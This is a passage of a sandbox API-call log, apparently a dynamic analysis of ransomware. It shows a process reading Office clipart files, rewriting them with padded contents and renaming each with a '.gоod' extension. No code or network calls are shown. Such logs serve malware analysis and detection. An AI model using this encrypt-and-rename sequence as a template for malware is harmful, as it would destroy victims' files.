Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01603_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01603_.wmf.gоod")) returned 1 [0267.466] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF", lpFilePart=0x0) returned 0x44 [0267.466] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0267.466] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01634_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x3914398 | out: lpFileInformation=0x3914398*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6f8253, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6f8253, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6f8253, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xda6)) returned 1 [0267.467] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0267.467] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF", nBufferLength=0x105, lpBuffer=0x1faed690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF", lpFilePart=0x0) returned 0x44 [0267.467] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedbb0) returned 1 [0267.467] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01634_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0267.467] GetFileType (hFile=0x768) returned 0x1 [0267.467] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb20) returned 1 [0267.467] GetFileType (hFile=0x768) returned 0x1 [0267.467] GetFileSize (in: hFile=0x768, lpFileSizeHigh=0x1faedd58 | out: lpFileSizeHigh=0x1faedd58*=0x0) returned 0xda6 [0267.467] ReadFile (in: hFile=0x768, lpBuffer=0x39153e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedc88, lpOverlapped=0x0 | out: lpBuffer=0x39153e8*, lpNumberOfBytesRead=0x1faedc88*=0xda6, lpOverlapped=0x0) returned 1 [0268.791] CloseHandle (hObject=0x768) returned 1 [0268.818] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF", nBufferLength=0x105, lpBuffer=0x1faed690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF", lpFilePart=0x0) returned 0x44 [0268.818] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedbb0) returned 1 [0268.818] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01634_.wmf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x89c [0268.888] GetFileType (hFile=0x89c) returned 0x1 [0268.888] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb20) returned 1 [0268.888] GetFileType (hFile=0x89c) returned 0x1 [0268.888] WriteFile (in: hFile=0x89c, lpBuffer=0x38c4af0*, nNumberOfBytesToWrite=0xdb0, lpNumberOfBytesWritten=0x1faedb98, lpOverlapped=0x0 | out: lpBuffer=0x38c4af0*, lpNumberOfBytesWritten=0x1faedb98*=0xdb0, lpOverlapped=0x0) returned 1 [0268.888] CloseHandle (hObject=0x89c) returned 1 [0268.888] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF", lpFilePart=0x0) returned 0x44 [0268.888] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF.gоod", lpFilePart=0x0) returned 0x49 [0268.888] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0268.888] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01634_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6f8253, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6f8253, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9c7c4680, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xdb0)) returned 1 [0268.888] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0268.888] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01634_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01634_.wmf.gоod")) returned 1 [0268.889] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF", lpFilePart=0x0) returned 0x44 [0268.889] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0268.889] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01635_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x38c5d80 | out: lpFileInformation=0x38c5d80*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6f8253, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6f8253, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6f8253, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3a94)) returned 1 [0268.890] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0268.890] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF", lpFilePart=0x0) returned 0x44 [0268.890] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0268.890] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01635_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x89c [0268.891] GetFileType (hFile=0x89c) returned 0x1 [0268.891] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0268.891] GetFileType (hFile=0x89c) returned 0x1 [0268.891] SetFilePointer (in: hFile=0x89c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1000 [0268.891] ReadFile (in: hFile=0x89c, lpBuffer=0x38c6198, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedd28, lpOverlapped=0x0 | out: lpBuffer=0x38c6198*, lpNumberOfBytesRead=0x1faedd28*=0x1000, lpOverlapped=0x0) returned 1 [0268.891] CloseHandle (hObject=0x89c) returned 1 [0268.892] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF", lpFilePart=0x0) returned 0x44 [0268.892] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0268.892] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01635_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x89c [0268.892] GetFileType (hFile=0x89c) returned 0x1 [0268.892] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0268.892] GetFileType (hFile=0x89c) returned 0x1 [0268.892] SetFilePointer (in: hFile=0x89c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x3a94 [0268.892] WriteFile (in: hFile=0x89c, lpBuffer=0x38c7430*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faedc48, lpOverlapped=0x0 | out: lpBuffer=0x38c7430*, lpNumberOfBytesWritten=0x1faedc48*=0x10, lpOverlapped=0x0) returned 1 [0268.893] CloseHandle (hObject=0x89c) returned 1 [0268.893] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF", lpFilePart=0x0) returned 0x44 [0268.893] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0268.893] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01635_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x89c [0268.893] GetFileType (hFile=0x89c) returned 0x1 [0268.893] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0268.893] GetFileType (hFile=0x89c) returned 0x1 [0268.893] ReadFile (in: hFile=0x89c, lpBuffer=0x38c96f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedcd8, lpOverlapped=0x0 | out: lpBuffer=0x38c96f0*, lpNumberOfBytesRead=0x1faedcd8*=0x1000, lpOverlapped=0x0) returned 1 [0269.031] CloseHandle (hObject=0x89c) returned 1 [0269.031] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF", lpFilePart=0x0) returned 0x44 [0269.031] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0269.031] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01635_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x89c [0269.031] GetFileType (hFile=0x89c) returned 0x1 [0269.031] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0269.031] GetFileType (hFile=0x89c) returned 0x1 [0269.031] WriteFile (in: hFile=0x89c, lpBuffer=0x371b010*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faedd88, lpOverlapped=0x0 | out: lpBuffer=0x371b010*, lpNumberOfBytesWritten=0x1faedd88*=0x1010, lpOverlapped=0x0) returned 1 [0269.123] CloseHandle (hObject=0x89c) returned 1 [0269.123] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF", lpFilePart=0x0) returned 0x44 [0269.123] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF.gоod", lpFilePart=0x0) returned 0x49 [0269.153] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0269.153] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01635_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6f8253, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6f8253, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9ca009ec, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x3aa4)) returned 1 [0269.153] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0269.153] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01635_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01635_.wmf.gоod")) returned 1 [0269.154] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF", lpFilePart=0x0) returned 0x44 [0269.154] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0269.154] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01636_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x38b3b58 | out: lpFileInformation=0x38b3b58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6f8253, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6f8253, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6f8253, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x752)) returned 1 [0269.155] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0269.155] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF", nBufferLength=0x105, lpBuffer=0x1faed690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF", lpFilePart=0x0) returned 0x44 [0269.155] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedbb0) returned 1 [0269.155] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01636_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0269.155] GetFileType (hFile=0x808) returned 0x1 [0269.155] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb20) returned 1 [0269.155] GetFileType (hFile=0x808) returned 0x1 [0269.155] GetFileSize (in: hFile=0x808, lpFileSizeHigh=0x1faedd58 | out: lpFileSizeHigh=0x1faedd58*=0x0) returned 0x752 [0269.155] ReadFile (in: hFile=0x808, lpBuffer=0x38b4558, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedc88, lpOverlapped=0x0 | out: lpBuffer=0x38b4558*, lpNumberOfBytesRead=0x1faedc88*=0x752, lpOverlapped=0x0) returned 1 [0269.156] CloseHandle (hObject=0x808) returned 1 [0269.308] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF", nBufferLength=0x105, lpBuffer=0x1faed690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF", lpFilePart=0x0) returned 0x44 [0269.308] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedbb0) returned 1 [0269.308] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01636_.wmf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0269.309] GetFileType (hFile=0x828) returned 0x1 [0269.309] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb20) returned 1 [0269.310] GetFileType (hFile=0x828) returned 0x1 [0269.310] WriteFile (in: hFile=0x828, lpBuffer=0x37434f8*, nNumberOfBytesToWrite=0x760, lpNumberOfBytesWritten=0x1faedb98, lpOverlapped=0x0 | out: lpBuffer=0x37434f8*, lpNumberOfBytesWritten=0x1faedb98*=0x760, lpOverlapped=0x0) returned 1 [0269.310] CloseHandle (hObject=0x828) returned 1 [0269.310] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF", lpFilePart=0x0) returned 0x44 [0269.310] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF.gоod", lpFilePart=0x0) returned 0x49 [0269.310] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0269.310] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01636_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6f8253, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6f8253, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9cbb6acc, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x760)) returned 1 [0269.310] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0269.310] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01636_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01636_.wmf.gоod")) returned 1 [0269.311] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF", lpFilePart=0x0) returned 0x44 [0269.311] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0269.311] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01637_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x3744788 | out: lpFileInformation=0x3744788*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6f8253, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6f8253, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6f8253, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf6c)) returned 1 [0269.312] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0269.312] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF", nBufferLength=0x105, lpBuffer=0x1faed690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF", lpFilePart=0x0) returned 0x44 [0269.312] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedbb0) returned 1 [0269.312] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01637_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0269.313] GetFileType (hFile=0x828) returned 0x1 [0269.313] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb20) returned 1 [0269.313] GetFileType (hFile=0x828) returned 0x1 [0269.313] GetFileSize (in: hFile=0x828, lpFileSizeHigh=0x1faedd58 | out: lpFileSizeHigh=0x1faedd58*=0x0) returned 0xf6c [0269.313] ReadFile (in: hFile=0x828, lpBuffer=0x37459a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedc88, lpOverlapped=0x0 | out: lpBuffer=0x37459a0*, lpNumberOfBytesRead=0x1faedc88*=0xf6c, lpOverlapped=0x0) returned 1 [0269.313] CloseHandle (hObject=0x828) returned 1 [0269.350] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF", nBufferLength=0x105, lpBuffer=0x1faed690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF", lpFilePart=0x0) returned 0x44 [0269.350] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedbb0) returned 1 [0269.350] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01637_.wmf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0269.350] GetFileType (hFile=0x834) returned 0x1 [0269.351] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb20) returned 1 [0269.351] GetFileType (hFile=0x834) returned 0x1 [0269.351] WriteFile (in: hFile=0x834, lpBuffer=0x37f95a0*, nNumberOfBytesToWrite=0xf70, lpNumberOfBytesWritten=0x1faedb98, lpOverlapped=0x0 | out: lpBuffer=0x37f95a0*, lpNumberOfBytesWritten=0x1faedb98*=0xf70, lpOverlapped=0x0) returned 1 [0269.351] CloseHandle (hObject=0x834) returned 1 [0269.351] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF", lpFilePart=0x0) returned 0x44 [0269.351] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF.gоod", lpFilePart=0x0) returned 0x49 [0269.351] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0269.351] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01637_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6f8253, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6f8253, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9cc29394, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xf70)) returned 1 [0269.351] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0269.351] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01637_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01637_.wmf.gоod")) returned 1 [0269.352] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF", lpFilePart=0x0) returned 0x44 [0269.352] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0269.352] GetFileAttributesExW (in: 